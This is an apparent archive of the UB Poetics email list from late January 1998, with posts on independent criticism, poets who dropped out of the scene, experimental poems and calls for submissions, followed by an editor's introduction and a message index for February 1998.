The visual is operative. It allows the reader/writer to keep opposites and connections in mind. Padin uses the example of the significance of "T" in a poem that uses patria (homeland)/paria (exile - pariah) with T ->cemetary cross=death. This action of stillness - being held in the mind - does seem to be a uniquely visual action?

reference is to Clemente Padin, "The visual operator in experimental poetry" unpublished paper

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1037. **Tom Mandel**

levi

Sat 31 Jan 1998

Pierre writes:

> Tom -- Levi is well & alive in the Mid-Hudson Valley (or in Kent's terms he
> joined the Catskill school) & writing much excellent art criticism, some of it
> in easily accessible places like The Nation.

Send him my best, please. I blush to reveal my ignorance of what's in The Nation (and so many many other time-honored venues), but my mind seems to travel between the worldly and the unworldly with no resting steps between.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]

****
Join the Caucus Conversation

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1038. **Tom Mandel**
Dan Davidson
Sat 31 Jan 1998

Reading Gordon's post and Kevin's post about who was in SF
in those days and where in life or death they are now
makes me want to mention Dan Davidson, another poet
who surfaced in the mid-eighties and was
warmly welcomed by his older soon-to-be-friends.
I miss Dan, and I wish he were here so I could throttle him for what he did.

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****
Join the Caucus Conversation

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1039. **Tom Mandel**
Gordon as acolyte!
Sat 31 Jan 1998

Ok, now we are having fun!

"I don't remember any of them (i.e. the SF language poets of Katy Lederer's reference) being critical of me, just encouraging. Maybe they thought I was an acolyte? "

...writes Gordon which made me guffaw at my monitor. The idea of Gordon as *anyone's* acolyte is very very funny.

You couldn't be around someone in those days whose sense of you was as immediately accurate and deflating (and friendly and brilliantly intelligent) as Gordon's. I thought she was so great I hired her to work for me the moment I could afford to. She related to me in that context as any other with an uncanny combination of fellow-feeling and sardonic pin-wriggling-to-wall.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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1040. **R M Daley**
Re: Missing generation
Sat 31 Jan 1998

katy
weez down here in the midwest shur are grateful for 't all the talkin
bout things in-teelekchul-

but just to ask which generation is it that one belongs to ifn this is the case - ie, what if this seemingly necessary definition-by-generation is not so necessary seeming? in this belly of the beast even, arent there first years, second years, undergrads, not-in-the-workshoppers, undergrads in workshops, ... - just to say that maybe a 'critical' take understood via singular constructions such as generational, or gender, arent so useful finally- and like you say, how bout looking at the 'work' (as opposed to the 'play'??)- in this respect, i'm interested in the link you imply in work such as nick regiacorte's and that of say, josh may - both of whom have writing around, maybe not in the 'successes' form of a book contract or even a single publication, but beyond this, what gives? - in the end, what is the motivation to say 'this work belongs in this camp, this one belongs over here'? reviews aside, which do seem to function purely as PR (have never personally read a scathing review of any book, poetry), 'critical' work, as you have said before, can certainly be that kindo f thing taht tells you as much about how a reader reads as a writer writes - well that these are more closely related in process (read: simultaneous) than the terminological distinction between 'reader' and 'writer' ('critic' and 'writer') makes them out to be

rd

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1041. **Rachel Loden**
missing generation
Sat 31 Jan 1998

Thanks, Kevin K., Chris S., Laura M. and others for terrific posts. In the early seventies I dropped out of a very active Berkeley reading and publishing scene

in which I had been increasingly "successful." It seemed to me that in my milieu (with the important exceptions of Judy Grahn and Kathleen Fraser) people were repeating themselves, and I was irritated by the easy applause I was getting. I left the scene cold, continued to write, and didn't send work out for fifteen years (was probably also terrified by recognition, but that's another story). Soon after this departure, I ran into one of the avatars of Berkeley poetry of the time, a woman who has since gone on to become very famous for work I don't respect. As we picked up our daughters at daycare she asked me "So, have you RETIRED?" The edge of sarcasm was evident.

But no--I hadn't retired. I didn't have words for what I HAD done, but it's clear now that turning my back was essential. At the time, all I could do was strap my daughter into her car seat and drive away.

It's said that we're a nation of salesmen, and sometimes, even in the odd precincts of poetry, it's just not okay to stop selling.

Rachel Loden

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1042. **Alan Myouka Sondheim**
Re: Great poem, great poet
Sat 31 Jan 1998

This is totally wonderful, reminds me of the Rig Veda, that X 129 that has driven a _lot_ of work from womb to room. Meanwhile someone could make a lot of money putting out a popular translation of Japan's Kojiki - at least I haven't seen one...

Alan

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1043. **nikuko**
I, Nikuko, am Listening to Buffalo Daughter
Sat 31 Jan 1998

==

My Mythology

The earth was formed from a swelling that began out of a primordial germ and split, separating dust from effluvia, debris from stony veins. From this, the kami emerged. Soon veins formed head-bands, emptied of swollen lungs and brains. Some kami committed seppuku, removing their tongues by means of pinchers forged from stony veins. Thus were formed brains with their many channels of mizu. Ah, lovely mizu! Transparent mizu! Tasteless mizu! Channels of mizu run

down tiny brain-cunts in skulls formed from stony veins. Thus were formed "chan- nels." Inkan stamp the elbows of kami-heads; the stamps cry "Oh Holy Mother Let Us Have Necks And Shoulders." Thus did necks and shoulders form. Some kami have arms on shouldes on necks on heads. They are meat-girls, Nikukos swelling into split germs and stony veins. They are angry girls! They are Buffalo Daughter, whose New Rock release is on Toshiba-EMI Limited, a blend of techno and industrial voice-over somewhat reminiscent of Big Stick, first heard at Rhino Records in Los Angeles (as usual, their lead singer died). Buffalo Daughter appears courtesy of Chameleon Records in Fukuoka, punk-animals everywhere or rather can you dance as the voice goes _way behind_ the back-beat. Meanwhile, in the Nihongi, Izanagi no Mikoto and Izanami no Mikoto say "Why should we not produce someone who shall be lord of the universe?" - an off-handed remark leading to much future woe. One can only imag- ine. "Universe" is given as "tenka" in a footnote, now meaning "the whole country; the public; the reins of government." Either a bring- down (EFL students wa take-note of the idiom) or hubris, from The New Crown Japanese-English Dictionary. What happens in the tenka? I don't know, but return to Nikuko's story, for her promising anger which spread like a virus from Nikukos-coalescing with trunks and legs, breasts and wombs, fierce warriors who have heard of Greece and Mon- ique Wittig. They come across a hermit in a cave, another kami in disguise, since there are Nikukos-One and kami, and that's all. They show him their cunts, ask for sake; they drink much, push the stick through his cloth, and that is all there is to it. Shite, lead char- acter in a Noh play, he begins to sing, Wa! (Harmony!) Waa! (Hurray!) He's _it,_ goaded by the _waki,_ Nikuko-who-does-not-wear-a-mask. Wa! Waa! Yugen, mystery-depth-profound-subtle-aesthetic, emerges among the kami, a beat magazine in New York 1950s, edited by Leroi Jones, if memory serves me. "It runs fine when I'm here," sing Buffalo Daughter, thinking of Nikuko. Shite-hermit sings and sings, stick poking through. Thus was born "song," "Noh," and "penis." In revenge, Shite- hermit says, "Nikuko, you cannot be in Noh." No-Noh-Nikuko. She sews him back up in the cave. (Was he sewn at first? Whose cave? Was that Nikuko's? Nikuko's cave - thus was born possession. Buffalo Daughter change to swing-beat. The synthesizers wind down. Anyway, they make the Sun-Goddess, called Oho-hiru-me no muchi, although Ama-terasu no Oho kami and Ama-terasu-oho-hiru-me no Mikoto are cited as well. Ni- kuko takes pity; the earth is kami, too. So are Buffalo Daughter, who are auspicious; the hermit, who receives the penis; the waki, helping everyone. Now everyone has all limbs and bodies but the penises and wombs are equally divided. When a war comes, Nikuko-who-does-not-wear-a-mask, and is a dark-haired girl living near Nakasu, gets angry, and says, there is no kami for any of us, and there are many less penises perhaps at first, and then less wombs. When the earth swells, there is an earthquake and caves are swallowed in the earth. Sesshu's Long Landscape Scroll portrays this incident

of Nikuko and hermit, and, as if in despair and irony, there is earthquake also, destroying the earth shrine at Hakata, until its memory faded from the affairs of men and women. (Some men and women are born without arms or legs; some without brains; some without breasts or wombs; some without penises; some without heads; some without skulls or necks; and some without shoulders.)

Mizu, water; Nikuko, meat-girl; seppuku, suicide; shite, hero or hero- ine in Noh play, primary actor (wears a mask); waki, secondary actor, (maskless) in the same; Buffalo Daughter, playing now; kami, deity/ spirit of sorts; inkan, signature-stamp; Sesshu painted primarily in the 15th century; head-bands are often worn by workmen in Japan; Rhi- no Records was (and maybe is) the best alternative music store I've seen in America. The last copy of Yugen was going for $10 a few months ago on the Lower East Side. Big Stick has disbanded. The Sun-Goddess names are from Aston's translation of the Nihongi. Monique Wittig wrote The Lesbian Body among other works. Nakasu is the snack-bar district of Fukuoka. Noh is a form of Japanese medieval theater; there are translations by Waley, but the intensity of tele- vised Noh was completely unexpected. I live in Hakata-Ku, Hakata Ward, which is the merchant's town of Fukuoka. I have no brain or skull. Aston translates the Sun-Goddess' names as "Great-noon-female-of-pos- sessor"; "Heaven-illumine-of-great-deity"; and "Heaven-illumine-great-noon-female-of-augustness"; but then Aston was writing in the nine- teenth century.

↑ Index

1044. Miekal And

Re: As-Am poetics

Sat 31 Jan 1998

Gwyn McVay wrote:

A title with the power to induce widespread cognitive
> dissonance is one you gotta love.

a men

wo ity

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1045. Keston Sutherland
snip
Sat 31 Jan 1998

The new fathom item A-Z mercy spree unsmothers afresh
re donkey spirit sprezzatura fit or agog for a relapse, a slipped pin
up assent to purpose marked down see hence vertical
shark loans in purveyance-arrest, a bit strapped for life
on the quay, shattered and bawling joke acid. Practically
speaking, joy in repair may appear as in fit blood-streaked piss
exhaustion or fades up, fawning / pouting his backside over her
stumbled-across plastic stile. Ah, undo. Real ping-pong
with Abraham vdu hyper relish. Top fate n1 stridulating in program n1.

Misery-to-be tautens and flats out as crap sin. Unquizzical stab B blends up multiple-choice #! in glue/weep promo delight din with stab C, D and ex-skin rick delivery #+1!, to what fails up in time a blessed pact, re: pedestal ash specks blent in gilded muck re: sum regress-inverse bonanza. Cracking the pig's jaw clean off, razing the hog's contempt. Improved regard-access loss puts extra-pittance loyalty via temporarily lax grin suppression a centimetre out of reach, spraying money inwards. Hence, actuality-compatible co listings slashed up, over the dale installed lice squawk and sigh down.

↑ Index

1046. k. lederer
Re: snip
Sat 31 Jan 1998

It's funny--

My father always told me that "the best work" in English is often surprisingly full of one-syllable words--Shakespeare, Dickinson, Whitman, &&&. I wonder with writing like this (which I like)--what to make of that opinion--I suppose that "innovative" methodologies in poetry have basically razed all notions of key poetic strategies--razed, theoretically, the notion of "great works"--

It's interesting though--it seems to me like this is something that really marks a departure--a schism--epistemological break--whatever--it that's what we're looking for (gosh, O! Yes, Will Alexander--that's another example)--any opinions?

Yours,
Katy

***

On Sat, 31 Jan 1998, Keston Sutherland wrote:

> *The new fathom item A-Z mercy spree unsmothers afresh*
> *re donkey spirit sprezzatura fit or agog for a relapse, a slipped pin*
> *up assent to purpose marked down see hence vertical*
> *shark loans in purveyance-arrest, a bit strapped for life*
> *on the quay, shattered and bawling joke acid. Practically*
> *speaking, joy in repair may appear as in fit blood-streaked piss*
> *exhaustion or fades up, fawning / pouting his backside over her*
> *stumbled-across plastic stile. Ah, undo. Real ping-pong*
> *with Abraham vdu hyper relish. Top fate n1 stridulating in program n1.*
>
> *Misery-to-be tautens and flats out as crap sin. Unquizzical*
> *stab B blends up multiple-choice #! in glue/weep promo delight*
> *din with stab C, D and ex-skin rick delivery #+1!, to what fails*
> *up in time a blessed pact, re: pedestal ash specks blent in gilded muck*
> *re: sum regress-inverse bonanza. Cracking the pig's*
> *jaw clean off, razing the hog's contempt. Improved regard-access*
> *loss puts extra-pittance loyalty via temporarily lax grin suppression*
> *a centimetre out of reach, spraying money inwards. Hence, actuality-compatible*
> *co listings slashed up, over the dale installed lice squawk and sigh down.*

↑ Index

1047. Keston Sutherland

pet

Sat 31 Jan 1998

Every soul's of assuaged boredom causa lamb-litter un-
verity post-gore vim spousage mock up, or happily may
be so politely, one life on the trot (n). That single
wren in the stars attests. Blow-dry apocalypse veer rate
sunk down, a level zero. Sometimes hatred appalls me,
grated into sickness like cheddar. Prophecy n-1 via thistlewarp
screw cluster alpha party-lark (n), this is your longer
lasting esprit-indent permit, should it be, heads or tails. Chop
sauce alarm! pasty and inappetent! Shied in-
cestial glades bewray, despite release #! she's frigid eye-blood.

↑ Index

1048. Kasey Silem Mohammad Hicks

"*Antipath*"

Sat 31 Jan 1998

Antipath

Punes pre-
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for lingerie en bad_

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↑ Index

1049. **Henry Gould**
Re: Ojo al toro con tres cuernos
Sat 31 Jan 1998

Kent Johnson, thou above all others hath interpeted rightly the parable. Thou shalt be with me in Tricorn Heaven whilst the rest gnasheth their teetheth in bull darkness. - Henry Gould

↑ Index

1050. **Henry Gould**
Indie Critics
Sat 31 Jan 1998

I have just one brief summing-up to make, having hogged the list enough. Will be quiet for a while, & I hope Kent will not be sad & will come back soon, he's a fresh breeze from Rio amongst us paper pushers.

This whole hoot n'holler about an independent criticism comes down to one thing. 99% of what passes for criticism of contemporary poetry is either tendentious ("I'm writing about her because she's good & I like her stuff") or so necessarily wrapped in academic-scholarly apparatus ("Joe Poet fits into this dissertation-scheme of development from Obscure Russ-Formo-Femmo- Performo Bravado in such-such a way...") as to be completely BOUGHT OUT. Steve Evans, bless his brilliant soul, is a good example: look at his ILS essay on the process of literary change. How erudite, how stylized - & how the poets are bumped in at the beginning & end almost as a footnote. It's an example of how TALKING ABOUT IT is a major form today, and exhibits all the incestuous poeto-academo atmosphere I've been railing against.

Now all you street-talkin' anti-intellectuals, don't get the idea I'm on your side. I LIKE Steve's writing. It's just not the criticism (that essay anyway) that Rod Smith et al's "generation" might need.

Poets themselves are tendentious of necessity. That's a given. Look at Eliot, the greatest circus tightrope-walker of them all (he did it in his sleep, like a possum). He had to create a total mask of objectivity in order to be the "critic" he wanted - it even invaded his theory of poetry (objective correlative). Scholars - grad students, profs - are not necessarily tendentious - but they are pedantic. By this I mean the marvelous researches they undertake tend to enfold the poetry in a total system of research. THIS IS GREAT & NECESSARY. But it's not indi-crit!

Indi-crit is written by philologists in Mandlestam's sense (sorry) - familial lovers of the word. But I didn't get this from Mandelstam, I'm just using him as an illustration. I am speaking as a poet who has played by what I consider the rules

for over 30 years. My rules are: do the poem. Send it to magazines & contests. Think about what you are doing - maybe write an essay about it. That's it. In my experience "doing the poem" has absorbed the energy. Maybe I am a fanatic, or a hedgehog in Isaiah Berlin's sense, or a totally introverted recluse. Fine. I grant the limitations of my witness to you all out there in poetry-land. This great List, thank you Loss & Joel & Charles, allows voices like mine to be heard. Maybe some of you in the big-city clubs, west coast, east coast, coast on toast, should pay attention to what I is a sayin. If any of you are poets - & I have my doubts - I would think you'd be looking for an indi critic too - somebody with taste, judgement, freedom, and an artistic instinct. The rest is baloney. It's the kind of baloney Emily Dickinson was concerned about, & that led Uncle Walt to write reviews of himself under a pseudonym. Not to mention Edgar Poe. That's a complicated murder story in which the autopsy was suborned.

- Henry Gould

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1051. **Joe Brennan**
Re: missing generation
Sat 31 Jan 1998

In a message dated 98-01-31 12:03:17 EST, you write:

<< Soon after this departure, I ran into one of the avatars of Berkeley poetry of the time, a woman who has since gone on to become very famous for work I don't respect. As we picked up our daughters at daycare she asked me "So, have you RETIRED?" The edge of sarcasm was evident. >>

It's been my general experience that folks who make remarks like the one in quotes above are usually pitifully vulnerable when

↑ Index

1052. **Joe Brennan**
Re: missing generation
Sat 31 Jan 1998

In a message dated 98-01-31 12:03:17 EST, you write:

<< Soon after this departure, I ran into one of the avatars of Berkeley poetry of the time, a woman who has since gone on to become very famous for work I don't respect. As we picked up our daughters at daycare she asked me "So, have you RETIRED?" The edge of sarcasm was evident.

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1053. **Joe Brennan**
Re: missing generation/missing what?
Sat 31 Jan 1998

Sorry, i hit the wrong key. I meant to say that folks who say things like this are usually vulnerable to the same insults and insensitivities they throw around. I for one can't understand how anyone can get any serious work done when surrounded by such noises. On the other hand, ambitious folks have to block out the kinds of sentiments that you express, and are nearly deaf to them. To be famous --even at the level of the choir, is a full time job in itself. One has to hustle all of the time even to get nominal recognition; look at the silly argument that centers around the syllabus for Marjorie Perloff's seminar. Except at the level of recognition --& we all know what this means-- this argument is of no importance. It's difficult even to discuss the systemic nature of the problem; it's as if the institutional demands of the academy are suspended. Publish or perish, however quaint it sounds, is still an operative force. I realize that you most likely already know this, but I emphathize with your sentiments and wanted to respond.

Joe Brennan

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1054. **jarnot**
Denise Levertov/Poetry Project Newsletter
Sat 31 Jan 1998

Dear List Members:

The next issue of the Poetry Project Newsletter will include a tribute to Denise Levertov. I am interested in collecting a number of short memoirs/statements. Space is limited and the deadline is coming up quickly (february 15th). If anyone would like to contribute, please backchannel me at [redacted].

Thanks, Lisa Jarnot

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1055. **jarnot**
Robert Duncan materials
Sat 31 Jan 1998

Dear List Members:

I am currently gathering information for a biography of Robert Duncan and would like to correspond with individuals who have materials related to Robert

Duncan in their possession (letters, tapes of readings or lectures, manuscripts, interviews, photographs, etc.).

I am also interested in interviewing (and/or collecting written narratives from) individuals who knew Robert Duncan.

If you can be of any help, please contact me at [redacted] or at PO Box 185, New York, NY 10009.

Thanks,
Lisa Jarnot

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1056. **Gwyn McVay**
Re: As-Am poetics
Sat 31 Jan 1998

Footnote--I think this is funny, anyway: numerous people, replying to the thread about experimental poetics done by North Americans of Asian descent (am I remembering correctly that Roy Kiyooka was Canadian?), have cited Tan Lin's /Lotion Bullwhip Giraffe/. Everybody, so far, mentions not being sure of this title, but everybody who has mentioned it so far has given it correctly. A title with the power to induce widespread cognitive dissonance is one you gotta love.

g.mc

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1057. **Graham W Foust**
distance carrier
Sat 31 Jan 1998

---

will be a new web-zine featuring poetic, fictional, and/or critical texts written by more than one person (this means you).

A sparse, trendily minimalistic call for submissions is available at

http://www.buffalo.edu/~foust/dc.html

Good-bye.

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1058. **Tim Wood**
Re: The ten gallon hat
Sat 31 Jan 1998

I've been busy getting the ListServ happy and moving smoothly, so I'm just getting back to reading the buffalo list. Good story. Since I'm not originally from

Texas, I've never adopted the ten gallon or the belt buckle. The boots beat the heck out of dress shoes though. Anyway, I'll pass the story along.

Tim

At 01:15 PM 1/26/98 -0500, you wrote:
>Emerging now from last night's post-game funk and can finally speak.
>My class early this morning was an utter disaster: I started crying
>in the middle of a lecture on topic sentences. How will I face them
>now tomorrow? I feel like Clinton.
>
>Anyway, last night I drove up to Monroe, Wisconsin with my foam
>Cheesehead hat to watch the game at Baumgartner's, a true "bar bar"
>with all kinds of fish and animals grinning from the walls and not a
>fern plant in sight. Drank about 15 Diet Cokes. But the reason
>I'm writing, and it's a stunner, is this: During the second quarter
>sometime, a portly man, fortyish, in ten gallon hat, bellied up
>next to me and we got to doing the bonding thing by shouting at the
>TV through the drunken din. DID YOU SEE THAT?! AW BULLSHIT,
>COME ON REF! GO DORSEY GO! and so on. At halftime I introduced
>myself, and he to me. Imagine my surprise when he grabbed my hand and
>yelled in my ear, HI, I'M TIM WOOD, FROM TEXAS!
>
>I sized him up for a spell, probably cross-eyed with the shock,
>and then yelled back as loud as I could, ARE YOU THE SAME TIM WOOD
>FROM POETICS LISTSERV?
>
>WHAT'S THAT AGAIN PARDNER? he yelled.
>
>I SAID, I yelled, ARE YOU THE SAME TIM WOOD FROM POETICS
>LISTSERV? (Only now does it occur to me that I yelled this twice with
>a huge piece of foam cheese on my head, and the thought of myself
>in that act strikes me, frankly, as somewhat disturbing.)
>
>NO, he yelled, I'M FROM TEXAS...WACO, TEXAS... ON BUSINESS.
>
>Anyway, the misunderstanding was a bit awkward (in those
>non-verbal bar-like ways you can't quite put your finger on), and it
>sort of short-circuited the visceral flow of our manly camaraderie.
>By the third quarter, he had pulled back from the bar to yell at the
>TV with other cheeseheads, and to leave me pondering over the utterly
>wild coincidence of it all.
>

>Tim, feel free to post this rather bizarre anecdote on the Texas
>Poets Listserv as well!
>
>the Pack will be back,
>
>Kent
>

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1059. **Karen Kelley**
Re: Missing generation
Sat 31 Jan 1998

I read with amazement Kevin Killian's take on the "missing" in SF, and grew even more emotional with Chris Stroffolino's very accepting note about dropping out. You see, I hadn't realized, quite, why in the past 4 years I hadn't written much. After watching my brother's closest friends & lovers & then finally my brother die of AIDS in 1994, it became increasingly difficult to find productivity important. In fact, it became increasingly difficult to find ANYTHING important. Certainly not debates about aesthetics, certainly not literary ambitions; really, they started to seem obscene in their disregard for the hideous everyday human loss-of-life ripping through the city.

Lately, poetry seems more inviting--and I'm happy I stayed away long enough to find it new again, instead of slogging away making poems without the heart for it.

Anyone looking to see into the heart of the AIDs crisis: find _The Compassion Protocol_ by Herve Guibert or _Last Watch of the Night_ by Paul Monette or _This Wild Darkness_ by Harold Brodkey or _Life Sentences: Writers, Artists & AIDS_ by Thomas Avena.

Karen

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

February 1998

1114 messages · Sat 31 Jan 1998 – Sat 28 Feb 1998

February broke the habit. Iraq is named seventy-one times in this month's eleven hundred letters and Saddam Hussein twenty-two, the inspectors were being refused, the strikes were being drafted, and for once the room was in the same week as the news. David Bromige was not impressed. He found it depressing, he said, that the Iraq posts he had read offered modulations of the Administration's line and nothing else — *"no apostates, only mild heretics"* — and asked whether anyone had considered that these wars are chiefly demonstrations of new weaponry under working conditions, which is good for sales. Nobody answered that. They were busy with a man who had sent a girl a poem.

Robert Hale opened the largest thread of the largest month on the third, at the risk, he said, of using the list as a Dear Abby column. He had been seeing someone. It went well. He took her to see David Bowie; they had crazy nights; they went to a friend's wedding. He sent her a poem a week and sang to her down the telephone. Then he sent her something by André Breton, and — this is the whole hinge of the volume — *"She freaked out"*. Valentine's Day was on the Saturday. Should he send love poems? Forty letters of advice came back, which is more than Iraq got in any single thread.

Underneath it, the month's real subject, arriving from outside: Ted Hughes had published Birthday Letters in January, breaking thirty-five years of public silence about Sylvia Plath. Plath is named two hundred and five times here, Hughes two hundred and seventy-five. And the room did to those poems exactly what Hale's girlfriend had done to Breton — read them as a message about the person who sent them. Which they are. That is the difficulty, and the room went at it honestly enough, and then somebody advanced a theory.

Michael McColl reported that an Iowa study he recalled had found a high incidence of manic depression among writers; that unless they were bipolar they were unlikely to get much done; *"It was in manic or near-manic states that they achieved"*. The study is not cited. Half-remembered authority is this room's oldest habit and I have watched it fail all year. This time it failed differently, because Joe Ahearn was reading. His reply is three lines long. Speaking *"as one captive to bipolar disorder"*, he found the assessment incredibly optimistic, and put naive in brackets after it, with a question mark, which is more courtesy than it deserved.

And Katy Lederer asked the question the month was built to avoid. How, she wanted to know, was Plath's death being figured here in terms of gender — the business of the children left behind? She could think of a number of male poets who had killed themselves and been made heroes of, and none of them admonished for leaving children. *"What if Plath had been the father?"* she wrote; suppose Hughes the non-writing mother who strayed; the discourse would be altogether different, and it is obvious, really. Nobody took it up. I have set Hale's question at the front of this volume and Lederer's at the back, because between them the room spent February reading poems as evidence about the people who wrote them, and twice — three lines from Ahearn, a paragraph from Lederer — the people being read answered back.

— Kristen M. Fabians

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3. bertha — DEAD WOMEN POETS OF NYC & NYSTATE
4. Pierre Joris — Re: Indie Critics
5. Pierre Joris — Re: snip
6. henry gould — Re: Indie Critics
7. Joe Brennan — Re: Indie Critics
8. Poetics List — Welcome Message (FYI)
9. Douglas Barbour — Re: Kiyooka's _Mothertalk_
10. henry gould — Re: Indie Critics
11. David Zauhar — CFP: Hybridity & Asian-American Lit (3/1, MLA) (fwd)
12. Tom Orange — snip
13. David Zauhar — Re: CFP: Hybridity & Asian-American Lit (3/1, MLA) (fwd)
14. rsillima — References
15. Maria Damon — Re: missing generation
16. Maria Damon — Re: Response to Maria's Question
17. dbkk — old/young academic/non etc
18. Kali Tal — Re: DEAD WOMEN POETS OF NYC & NYSTATE
19. R. Gancie — Modernism & PostModernism
20. Keston Sutherland — from _At The Motel Partial Opportunity_
21. Keston Sutherland — from _Hate's Clitoris And Other Poems_
22. Harold Rhenisch — Katy's short words
23. Harold Rhenisch — Re: Indie Critics
24. Mark Wallace — criticism rules
25. Henry gould — Re: criticism rules
26. Don Byrd — Re: DEAD WOMEN POETS OF NYC & NYSTATE
27. lppl — New from GAZ
28. louis stroffolino — Re: criticism rules

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29. david bromige — Tom Clark's poems & his "Stalin as Linguist"
30. david bromige — I see now that by forwarding this I can make it available again to the List...
31. George Bowering — Re: Indie Critics
32. maz881 — Re: missing generation
33. Henry Gould — Re: crit rules
34. Michael Magee — Re: I see now that by forwarding this I can make it available again
35. Jack Spandrift — Re: Indie Critics
36. Maria Damon — Re: Modernism & PostModernism
37. Mark Wallace — criticism rules
38. Jordan Davis — 10E6 by Y2K+70
39. Henry Gould — crit rules/doesn't rule
40. KENT JOHNSON — Re: criticism rules
41. Rebecca Weldon Sithiwong — Art forms
42. Mark Prejsnar — Re: criticism rules
43. Dale M Smith — The Necessity of Moral Perception
44. Mark Wallace — Situation #16 now available
45. k. lederer — Re: missing generation
46. Harold Rhenisch — Re: Indie Critics
47. Gary Sullivan — Re: Response to Maria's Question

48. nikuko — Nikuko's Service Offer
49. David Benedetti — Re: Toro Toro
50. Dale M Smith — Re: criticism rules
51. KENT JOHNSON — Re: Toro Toro
52. Jack Spandrift — Re: Toro Toro
53. k. lederer — Re: Rachel, criticism, 420 E Davenport, anthropology--
54. p. durgin — M. A. Tata
55. daniel bouchard — gerald burns
56. Keston Sutherland — CCCP (fwd)
57. Safdie Joseph — Re: I see now that by forwarding this I can make it available again
58. david bromige — Tom Clark's moral perception
59. Michael Magee — Re: I see now that by forwarding this I can make it available
60. Ben Carrelis — Celan/Montale/Olson/Coatlicue
61. Rachel Loden — Re: pumping poetry
62. Herb Levy — Uh, (Was Re: I see now that by forwarding this I can make it available again)

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63. k. lederer — Re: First Intensity
64. Schuchat Simon — contents
65. Mark Baker — Re: I see now that by forwarding this I can make it available again
66. L.MacMahon and T.R.Healy — short words
67. Daniel Zimmerman — Re: First Intensity
68. linda russo — missing gens, maria's q &c.
69. Henry Gould — Re: Rachel, criticism, 420 E Davenport, anthropology--
70. Rachel Levitsky — Winter poetry in Boulder
71. Tom Mandel — "indie"
72. Dale M Smith — Uh,
73. Tom Mandel — Tom Clark's Brecht quote
74. Karen Kelley — Re: Rachel, criticism, 420 E Davenport
75. David Benedetti — Re: I can't see now by forwarding this
76. David Benedetti — Re: criticism rules, or non-rules
77. Mark Wallace — criticism rules
78. d powell — Re: contents
79. hen — Re: Rachel, criticism, 420 E Davenport
80. Maria Damon — Re: Response to Maria's Question
81. Maria Damon — Re: criticism rules
82. pritchpa — Re: Rachel, criticism, 420 E Davenport, anthropology--
83. Henry Gould — criticism rules
84. Mark Prejsnar — The task of criticism
85. Mark Nowak — Call for Papers (Xcp)
86. Christina Fairbank Chirot — Re: Celan & Visual Poetry
87. Dale M Smith — Re: criticism rules
88. Richard Quinn — query: jazz and spoken word
89. pritchpa — Re: missing gens, maria's q &c.
90. Don Byrd — Re: The task of criticism
91. Safdie Joseph — Re: Response to Bromige on Clark
92. Henry Gould — Re: The task of criticism
93. nuyopoman — Fwd: Word and Music series
94. William Marsh — Re: Rachel, criticism, 420 E Davenport
95. Joe Ahearn — Re: Uh, (Was Re: I see now that by forwarding this I can make it available aga…
96. Tim Wood — Was: Re: Uh, <snip>

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97. Daniel Zimmerman — Re: Uh, (Was Re: I see now that by forwarding this I can make it availab…
98. k. lederer — Re: a posting to poetics

99. Robert Hale — Love Poems
100. George Bowering — Re: Uh
101. George Bowering — Re: Was: Re: Uh, <snip>
102. John Cayley — call for sound work
103. linda russo — Re: Love Poems
104. linda russo — Re: missing gens, maria's q &c.
105. Schuchat Simon — Re: Response to Bromige on Clark
106. Mark Wallace — oh Henry
107. Elizabeth Hatmaker — Re: The task of criticism
108. Mark Prejsnar — Re: The task of criticism
109. Dale M Smith — Stalin as What?
110. Henry Gould — Re: oh Henry
111. louis stroffolino — Re: Love Poems
112. louis stroffolino — Re: Was: Re: Uh, <snip>
113. Joe Brennan — Re: Love Poems
114. Joe Brennan — Re: Was: Re: Uh, <snip> uh uh
115. Henry Gould — Re: The task of criticism
116. MAYHEW — task of criticism
117. ShaunAnne Tangney Humanities 8-13-1997 — Re: The task of criticism
118. David Golumbia — Re: Was: Re: Uh, <snip>
119. James Finnegan — Re: Was: Re: Uh, <snip> uh uh
120. Dale M Smith — task of criticism
121. Tim Wood — Re: Was: Re: Uh, <snip>
122. sylvester pollet — Request for assistance
123. d powell — Re: Love Poems
124. k. lederer — Re: "Indie Critics," Evans, Rod Smith, baloney--
125. d powell — NY, NY
126. d powell — Re: Was: Re: Uh, <snip> uh uh
127. MAYHEW — task of criticism
128. Herb Levy — Re: Response to Bromige on Clark & Ambiguity
129. Herb Levy — Re: Uh,
130. pritchpa — Re: missing gens, maria's q &c.
131. pritchpa — Re: Love Poems
132. Safdie Joseph — Re: Response to Bromige on Clark
133. David Kellogg — Re: Love Poems
134. David Kellogg — Re: task of criticism
135. David Kellogg — Re: Love Poems
136. James Finnegan — Re: "Indie Critics," Evans, Rod Smith, baloney--
137. linda russo — Re: Love Poems
138. Robert Zamsky — Re: Was: Re: Uh, <snip>
139. linda russo — Re: Love Poems
140. henry gould — Re: "Indie Critics," Evans, Rod Smith, baloney--
141. David Zauhar — Re: task of criticism
142. Karen Kelley — Re: Love Poems
143. Don Byrd — Re: task of criticism
144. Daniel Zimmerman — Re: Love Poems
145. maz881 — missing gens, maria's q &c.
146. david bromige — Re: simon schuchat, response to b on c

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147. Robert Zamsky — Re: "Indie Critics," Evans, Rod Smith, baloney--
148. Harold Rhenisch — Fwd: call for sound work
149. david bromige — safdie on bromige on clark
150. nico vassilakis — A Short Lived Fontanel
151. Robert Hale — Re: Love Poems
152. Rachel Levitsky — Love Poems

153. John Tranter — Breton's woman, Breton's poem
154. Daniel Zimmerman — Re: Love Poems
155. Maria Damon — Re: Uh,
156. David R. Israel — Re: Love Poems
157. daniel bouchard — Re: a posting to poetics (late)
158. David R. Israel — Re: The task of criticism
159. Miekal And — Re: Dan Davidson
160. Rachel Loden — Re: Breton's woman, Breton's poem
161. Tom Mandel — simon on "stalinism?"
162. Tom Mandel — sigh, yikes, forget it...
163. Henry Gould — Re: The task of criticism
164. Pierre Joris — Re: Love Poems
165. Herb Levy — Re: Response to Bromige on Clark & Ambiguity
166. Mark Prejsnar — Re: task of criticism
167. Mark Prejsnar — Re: Love Poems
168. Gwyn McVay — "My man"
169. Mark Prejsnar — Re: Request for assistance
